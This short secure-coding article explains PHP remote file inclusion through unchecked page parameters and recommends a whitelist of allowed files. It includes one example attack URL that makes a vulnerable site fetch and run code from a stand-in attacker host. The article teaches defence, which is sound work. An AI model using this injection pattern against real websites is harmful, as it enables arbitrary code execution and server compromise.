PHP code can be a very useful tool but also very dangerous if not used correctly. There are many coding mistakes that can lead to hacked websites, deleted files and other serious problems.
A common mistake of PHP coders is to program the website page access using index.php?page=page_name.html methods whereby the filename is included in the URL and included into the page via PHP code. The problems start when no checking is done before including the filename and can lead to problems when a third party simply changes the URL to include a bad script into the webspage allowing them to run any commands on the server, eg index.php?page=http://www.bad-url.com/hacking_php_code.txt
The above example will include whatever bad code (designed to hack the website/server and basically anything else) in the text file at http://www.bad-url.com/hacking_php_code.txt and execute it within the script as PHP on our server. It's easy to think "it will never happen to me" if your site is new but it is very easy to find countless sites using this method of access via a Google search which the attacker will systematically test for insecure code (often automated scans).
To protect a website against the exploit above, it is essential to check the value provided in the URL before including it into the PHP code. This can be done by hardcoding a set of allowed files to be included and if the filename in the URL is not found in this list, the request will be rejected.
- Put an array at the very top of the file with the names of all the allowed files, eg:
$allowed = array("main", "subpage", "another");
- When you get to the bit where the URL is examined and included in the PHP code you can then do something like this to check it is in the allowed list:
$page = $_GET['page']; if(in_array($page, $allowed)) { include("/home/USERNAME/public_html/" . $page . ".html"); } else { die("Hack attempt stopped"); }
It is the responsibility of all those using custom PHP scripts to ensure that the code used is as secure as possible. There are many articles on the internet covering this subject and we recommend checking the following links:
Google Search
Onlamp.com: Ten Security Checks for PHP, Part 1
Onlamp.com: Ten Security Checks for PHP, Part 2
Zend.com: Secure Programming in PHP